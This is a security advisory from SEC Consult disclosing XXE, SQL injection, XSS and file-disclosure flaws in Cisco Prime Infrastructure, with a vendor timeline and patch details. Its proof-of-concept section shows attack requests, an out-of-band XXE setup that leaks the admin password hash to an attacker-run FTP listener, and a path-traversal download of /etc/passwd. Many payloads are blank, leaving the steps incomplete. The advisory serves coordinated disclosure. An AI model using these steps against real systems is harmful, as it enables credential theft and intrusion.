Multiple vulnerabilities in Cisco Prime Infrastructure

SEC Consult Vulnerability Lab Security Advisory < 20170622-0 >


title: XML External Entity Injection (XXE),

SQL Injection, Cross Site Scripting,

Local File Disclosure

product: Cisco Prime Infrastructure

vulnerable version: 1.1 through 3.1.6

fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release)

CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700

impact: high


found: 2016-11-21

by: P. Morimoto (Office Bangkok)

SEC Consult Vulnerability Lab


An integrated part of SEC Consult

Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow

Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich




Vendor description:


"Cisco Systems, Inc. (known as Cisco) is an American multinational technology

conglomerate headquartered in San José, California, that develops,

manufactures, and sells networking hardware, telecommunications equipment,

and other high-technology services and products. Through its numerous acquired

subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper,

Cisco specializes into specific tech markets, such as Internet of Things (IoT),

domain security, and energy management."





Business recommendation:


SEC Consult recommends to install the latest patch to fix the identified

vulnerabilities. Furthermore, the Cisco Prime Infrastructure should be

reachable only from trusted internal network and/or whitelisted IP addresses.


Since SEC Consult only performed a short security crash test on this product

it is highly recommended to perform a thorough security review as there are

indications for further vulnerabilities.



Vulnerability overview/description:


SEC Consult was able to identify some serious vulnerabilities with the

low privileged "monitor-only" user.


1) XML External Entity Injection (CVE-2017-6662)

The used XML parser is resolving external XML entities which allows attackers

to read files and send requests to systems on the internal network (e.g port



The vulnerability can be exploited by a low privileged read-only user

to read sensitive information files with malicious XML code.


The hashed password of the local admin user can be accessed without



2) SQL Injection (CVE-2017-6698)

The identified SQL injection vulnerability enables an authenticated attacker

with low privileges to execute arbitrary SQL commands.


3) Cross site scripting (CVE-2017-6699, CVE-2017-6700)

Due to the lack of input validation, an attacker can insert malicious JavaScript

code to be executed under a victim's browser context.


4) Local File Disclosure (no CVE assigned)

Because of insufficient input validation, arbitrary local files can be

disclosed. Files that include passwords and other sensitive information can

be accessed.



Proof of concept:


1) XML External Entity Injection (CVE-2017-6662)

Login with a low privileged user and navigate to Settings > Export >

select Format 'PDF' click 'Export'.

Make sure the 'Chart' option is selected, this chart uses XML to build SVG



POST /webacs/prime/ui/dashboard/renderer HTTP/1.1

Host: <CiscoPrimeHost>





$ cat sectest.dtd



$ python -m SimpleHTTPServer 1234

$ wget

$ ruby xxe-ftp-server.rb

FTP. New client connected

< USER anonymous

< PASS Java1.8.0_66@

> 230 more data please!


> 230 more data please!

< CWD !

> 230 more data please!

< hostname <CiscoPrimeHost>


< !

> 230 more data please!

< username admin password hash <AdminHashedPassword>

> 230 more data please!

< CWD role admin

> 230 more data please!

< !




2) SQL Injection (CVE-2017-6698)

A low privileged user such as "monitor-only" user can read the admin's

password hashes via SQL injection.






Some vulnerable entry points require administrator privileges to exploit.











Some URLs with this pattern are affected by the SQL injection vulnerability

in the JSON field.

<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST)


"items": [










<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST)


"items": [







3) Cross site scripting


a) Reflected cross site scripting (CVE-2017-6699)




b) DOM-based cross site scripting (CVE-2017-6700)


<CiscoPrimeHost>/webacs/ Service Status&jobBreadcrumName=">



4) Local File Disclosure

The attacker must be in the super users or admin group in order to exploit this





GET /webacs/ HTTP/1.1

Host: <CiscoPrimeHost>


HTTP/1.1 200 OK

Cache-Control: private

Expires: Thu, 01 Jan 1970 01:00:00 CET

Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/"

Content-Type: application/zip



$ unzip


warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd

inflating: etc/passwd


$ cat etc/passwd









Vulnerable / tested versions:


According to information provided by Cisco, the following versions are affected:

1.1 through 3.1.6


SEC Consult tested the following versions which were the most recent ones at the

time of discovery:


* incl. 3.1.4 patch



Vendor contact timeline:


2016-11-23: Contacting vendor through

2016-11-23: Initial response from Cisco PSIRT.

2016-11-24: Additional vulnerabilities added.

2016-12-14: Cisco proposed target date for the fixes for March 2017.

2017-03-03: Cisco postponed target date for the fixes to 31 May 2017.

2017-05-16: Cisco postponed target date for the fixes to 21 June 2017.

2017-06-14: CVEs are assigned to the vulnerabilities.

2017-06-21: Patches available

2017-06-22: Coordinated release of security advisory.





Install the patch version 3.1.6 Update 1.


Download URL for the patch:


For more details about the fixes can be found within the Cisco security advisories:


Vuln 1) Cisco Prime Infrastructure and Evolved Programmable Network Manager XML Injection Vulnerability (CVE-2017-6662)


Vuln 2) Cisco Prime Infrastructure and Evolved Programmable Network Manager SQL Injection Vulnerability (CVE-2017-6698)


Vuln 3a) Cisco Prime Infrastructure and Evolved Programmable Network Manager Reflected Cross-Site Scripting Vulnerability (CVE-2017-6699)


Vuln 3b) Cisco Prime Infrastructure and Evolved Programmable Network Manager DOM Cross-Site Scripting Vulnerability (CVE-2017-6700)


Vuln 4) Local file disclosure (no CVE assigned because of lower CVSSv3 score)








Advisory URL:






SEC Consult Vulnerability Lab


SEC Consult

Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow

Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich


About SEC Consult Vulnerability Lab

The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It

ensures the continued knowledge gain of SEC Consult in the field of network

and application security to stay ahead of the attacker. The SEC Consult

Vulnerability Lab supports high-quality penetration testing and the evaluation

of new offensive and defensive technologies for our customers. Hence our

customers obtain the most current information about vulnerabilities and valid

recommendation about the risk profile of new technologies.



Interested to work with the experts of SEC Consult?

Send us your application


Interested in improving your cyber security with the experts of SEC Consult?

Contact our local offices



Mail: research at sec-consult dot com





EOF Pichaya Morimoto / @2017